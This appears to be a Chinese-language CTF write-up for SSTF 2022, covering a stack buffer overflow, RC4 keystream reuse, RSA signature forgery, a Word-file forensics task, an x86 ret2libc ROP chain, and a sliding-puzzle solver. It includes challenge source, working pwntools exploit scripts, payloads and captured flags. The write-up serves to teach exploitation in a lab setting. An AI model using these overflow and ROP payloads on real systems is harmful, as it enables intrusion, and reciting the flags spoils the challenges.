
打开的时候已经比赛完了,不过题目还可以看也可以提交确认正误。有点良心。
前边有个教程
这个直接给了flag,一共有690个提交,看来参加的人不多
一个pwn题,附件给了源码,后边102和103不让作,应该是比赛的时候作了101才让作。
- #include
- #include
- #include
-
- int printflag(){
- char buf[32];
- FILE* fp = fopen("/flag", "r");
- fread(buf, 1, 32, fp);
- fclose(fp);
- printf("%s", buf);
- return 0;
- }
-
- int main() {
- int check=0xdeadbeef;
- char name[140];
- printf("printflag()'s addr: %p\n", &printflag);
- printf("What is your name?\n: ");
- scanf("%s", name);
- if (check != 0xdeadbeef){
- printf("[Warning!] BOF detected!\n");
- exit(0);
- }
- return 0;
- }
也就是ret2system这个意思,PIE打开加载地址随机但直接给出了加载地址,直接溢出就行,中间注意要恢复check
- from pwn import *
-
- #p = process('./bof101')
- p = remote('bof101.sstf.site', 1337)
-
- context(arch='amd64', log_level='debug')
-
- p.recvuntil(b's addr: ')
-
- printflag = int(p.recvline(), 16)
- print(hex(printflag))
-
- p.sendlineafter(b"What is your name?\n: ", b'A'*(0x90-4)+p32(0xdeadbeef)+b'A'*8+ p64(printflag+5))
- print(p.recv())
- p.ineractive()
- #SCTF{n0w_U_R_B0F_3xpEr7}
这是一个RC4加密的题,给了一断明文和对应的密文,然后是flag的密文
- from Crypto.Cipher import ARC4
- from secret import key, flag
- from binascii import hexlify
-
- #RC4 encrypt function with "key" variable.
- def encrypt(data):
- #check the key is long enough
- assert(len(key) > 128)
- #make RC4 instance
- cipher = ARC4.new(key)
-
- #We don't use the first 1024 bytes from the key stream.
- #Actually this is not important for this challenge. Just ignore.
- cipher.encrypt("0"*1024)
-
- #encrypt given data, and return it.
- return cipher.encrypt(data)
-
- msg = "RC4 is a Stream Cipher, which is very simple and fast."
-
- print (hexlify(encrypt(msg)).decode())
- print (hexlify(encrypt(flag)).decode())
- #634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8
- #624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb
由于用的同一个密码,而流加密是流是相同的,只需要用密文与明文异或得到流,再用这个流去与flag的密文异或就能得到flag
- msg = b"RC4 is a Stream Cipher, which is very simple and fast."
-
- c1 = bytes.fromhex('634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8')
- c2 = bytes.fromhex('624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb')
-
- print(bytes([msg[i]^c1[i]^c2[i] for i in range(len(c2))]))
-
- #SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}
远程的RSA题,可以加密一些命令,但不参加"cat flag",只要传上"cat flag"的密文就能得到flag
- from base64 import b64encode, b64decode
- from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
- from os import system
-
- p = getStrongPrime(512)
- q = getStrongPrime(512)
- n = p * q
- e = 65537
- d = pow(e, -1, (p - 1) * (q - 1))
-
- print("[RSA parameters]")
- print("n =", hex(n))
- print("e =", hex(e))
-
- def sign(msg):
- m = bytes_to_long(msg)
- s = pow(m, d, n)
- return long_to_bytes(s)
-
- def verify(s):
- s = bytes_to_long(s)
- v = pow(s, e, n)
- return long_to_bytes(v)
-
- def welcome():
- print("\nWelcome to command signer/executor.")
- print("Menu : 1. Verify and run the signed command")
- print(" 2. Generate a signed command")
- print(" 3. Base64 encoder")
- print(" 4. Exit")
-
- while True:
- welcome()
- sel = input(" > ").strip()
- if sel == "1":
- sgn = input("Signed command: ").strip()
- sgn = b64decode(sgn)
- cmd = verify(sgn)
-
- commands = ["ls -l", "pwd", "id", "cat flag"]
- if cmd.decode() in commands:
- system(cmd)
- else:
- print("Possible commands: ", commands)
-
- elif sel == "2":
- cmd = input("Base64 encoded command to sign: ")
- cmd = b64decode(cmd)
- if cmd == b"cat flag":
- print("It's forbidden.")
- else:
- print("Signed command:", b64encode(sign(cmd)).decode())
-
- elif sel == "3":
- cmd = input("String to encode: ").strip().encode()
- print("Base64 encoded string:", b64encode(cmd).decode())
-
- elif sel == "4":
- print("bye.")
- exit()
-
- else:
- print("Invalid selection.")
根据公式 m^e = c mod n有 (m1*m2)^e = c1*c2 mod n这样先求出m1*m2的密文和m2的密文就能还原出m1的密文
- n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
- e = 0x10001
-
- m1 = 'aWQ=' #id
- c1 = 'qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA='
-
- m2 = 'KOnKsqaqdklLPA==' # id * cat flag
- c2 = 'IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho='
-
- from base64 import *
- from Crypto.Util.number import long_to_bytes, bytes_to_long
- from gmpy2 import invert
-
- c1 = bytes_to_long(b64decode(c1))
- c2 = bytes_to_long(b64decode(c2))
-
- c = (invert(c1, n)*c2) %n
- print(c)
- bc = b64encode(long_to_bytes(c))
- print(bc)
-
- #o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
- #SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
- '''
- shi@ubuntu:~/2022sstf/bol$ nc rsa101.sstf.site 1104
- [RSA parameters]
- n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
- e = 0x10001
- Welcome to command signer/executor.
- Menu : 1. Verify and run the signed command
- 2. Generate a signed command
- 3. Base64 encoder
- 4. Exit
- > 2
- Base64 encoded command to sign: aWQ=
- Signed command: qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA=
- Welcome to command signer/executor.
- Menu : 1. Verify and run the signed command
- 2. Generate a signed command
- 3. Base64 encoder
- 4. Exit
- > 2
- Base64 encoded command to sign: KOnKsqaqdklLPA==
- Signed command: IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho=
- Welcome to command signer/executor.
- Menu : 1. Verify and run the signed command
- 2. Generate a signed command
- 3. Base64 encoder
- 4. Exit
- > 1
- Signed command: o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
- SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
- '''
这是个word文档,里边有个嵌入文件,先把扩展名改为zip然后解开能得到oleObject1.bin这个文件也不知道怎么打开,先用010打开看看发现有个PNG文件头,将这一块复制出来。打开里边就是个flag

一开始以为一定要用PPPR感觉很麻烦,打开后看就是一个栈溢出题,先puts(got.puts)再回到main(由于这里边没有/bin/sh所以要用libc里的bin/sh才用到libc,原题原意可能是用pppr直接用输入的串,因为system已经给出了),然后在得到libc后再作system(bin/sh)
- from pwn import *
-
- elf = ELF('./pppr')
- context(arch='i386', log_level='debug')
-
- #p = process('./pppr')
- p = remote('pppr.sstf.site', 1337)
-
- #gdb.attach(p, "b*0x80485b2")
- #pause()
-
- bss = 0x804a100
- pay = flat(b'A'*8,0, elf.plt['puts'],elf.sym['main'],elf.got['puts'])
-
- p.sendline(pay)
- libc_base = u32(p.recv(4)) - 0x6d1e0 #local 0x6dc30
- bin_sh = libc_base + 0x18b363 #0x18e363
-
- print('libc:', hex(libc_base))
-
- pay = flat(b'A'*8,0, elf.plt['system'],0, bin_sh)
- p.sendline(pay)
-
- p.interactive()
- #SCTF{Anc13nt_x86_R0P_5kiLl}
这是一个4阶拼版游戏,复原4*4块的位置。由于是计算机上的虚拟,这个没有上下左右边界,可以在左边界左移到最右。另外这里没有空格,是用与A互换实现的,实际上完全一样把A当空格就行了。
- #!/usr/bin/env python3
-
- import random
- import os
- import signal
- import sys
-
- LIMIT_TIME = 50
- NUM_STAGE = 100
- SHUFFLE_NUM = 11
-
- def bye():
- print ("Bye~")
- sys.exit()
-
- signal.signal(signal.SIGALRM, bye)
- signal.alarm(LIMIT_TIME)
-
- class Challenge:
- goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
- status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
- xpos = 0
- ypos = 0
- dist = 0
-
- def init(self):
- self.status = self.goal
-
- def shuffle(self, num):
- options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
- for _ in range(num):
- dx, dy = random.choice(options)
- self.move(dx, dy)
-
- def move(self, dx, dy):
- assert abs(dx + dy) == 1
- assert dx == 0 or dy == 0
- arr = self.status.split(",")
- p1 = self.xpos * 4 + self.ypos
- xxpos = (self.xpos + dx + 4) % 4
- yypos = (self.ypos + dy + 4) % 4
- p2 = xxpos * 4 + yypos
-
- arr[p1], arr[p2] = arr[p2], arr[p1]
- self.xpos = xxpos
- self.ypos = yypos
- self.status = ",".join(arr)
-
- def ok(self):
- return self.goal == self.status
-
- def dump(self):
- arr = self.status.split(",")
-
- for i in range(0, 4):
- print ("".join(arr[i*4:i*4+4]))
-
- for _ in range(NUM_STAGE):
- chall = Challenge()
- chall.shuffle(SHUFFLE_NUM)
- cnt = 0
- print("Current Status :")
- chall.dump()
- while chall.ok() == False:
- try:
- dx, dy = map(int, input(">>>").split(","))
- chall.move(dx, dy)
- cnt = cnt + 1
- if cnt > SHUFFLE_NUM:
- bye()
- except:
- bye()
- print ("Solved!")
-
- print("SCTF{fake-flag}")
由于需要成功100次才行,所以不能在线解题,要先生成个库,也就是11步所能走到的所有情况。这个用分层遍历来实现。由于要走11步,所以这个运行花费大量时间,估计这也是题目完成人少的原因
- def move(status, dx, dy):
- arr = status.split(",")
- p1 = arr.index('A')
- p1x = p1 // 4
- p1y = p1 % 4
- p2x = (p1x+dx)%4
- p2y = (p1y+dy)%4
- p2 = p2x*4 + p2y
- arr[p1], arr[p2] = arr[p2], arr[p1]
- return ",".join(arr)
-
- goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
- options = [[0, +1], [0, -1], [+1, 0], [-1, 0]]
- SHUFFLE_NUM = 11
- a_m = []
- a_s = []
- def get_s(m, t, s):
- global a_m,a_s
- if t in a_m:
- return a_s[a_m.index(t)]
-
- a_m = [m]
- a_s = [s]
- start = 0
- end = len(a_m)
- for _ in range(SHUFFLE_NUM):
- print(_)
- newstate = {}
- for j in range(start, end):
- for i in range(4):
- ns = move(a_m[j], options[i][0], options[i][1])
- if ns not in a_m:
- a_m.append(ns)
- a_s.append(a_s[j]+str(i))
- start = end
- end = len(a_m)
-
- get_s(goal,goal, '') #取得所有状态
- print(len(a_m), a_m[:10], a_s[:10])
-
- open('a_m.dat', 'w').write("\n".join(a_m))
- open('a_s.dat', 'w').write("\n".join(a_s))
生成了一个10M的库,和所走的最短路径,然后再连线查表返回步数
- a_m = []
- with open("a_m.dat") as f:
- for i in range(324747):
- a_m.append(f.readline().strip('\n'))
- a_s = []
- with open("a_s.dat") as f:
- for i in range(324747):
- a_s.append(f.readline().strip('\n'))
-
- print(len(a_m), len(a_s))
-
- op_r = [[0, -1], [0, 1], [-1, 0], [1, 0]]
- print(op_r[0][0])
- from pwn import *
-
- #context(arch='amd64', log_level= 'debug')
- p = remote("flippuzzle.sstf.site", 8098)
- #p = process(["d:/python/python","app.py"])
- NUM_STAGE = 100
- for i in range(NUM_STAGE):
- print(i, end='')
- p.recvuntil(b"Current Status :\n")
-
- old_status = p.recvuntil(b'>>>', drop=True).replace(b'\n', b'').decode()
- old_status = ",".join(list(old_status))
- print('old:', old_status)
- ok = a_s[a_m.index(old_status)][::-1]
- for i in ok:
- i = int(i)
- r = op_r[i]
- p.sendline(str(r[0]) +","+str( r[1]))
- print(p.recvline())
- print(p.recvline())
- #SCTF{what-is-your-favorite-algorithm_0x38dc129?}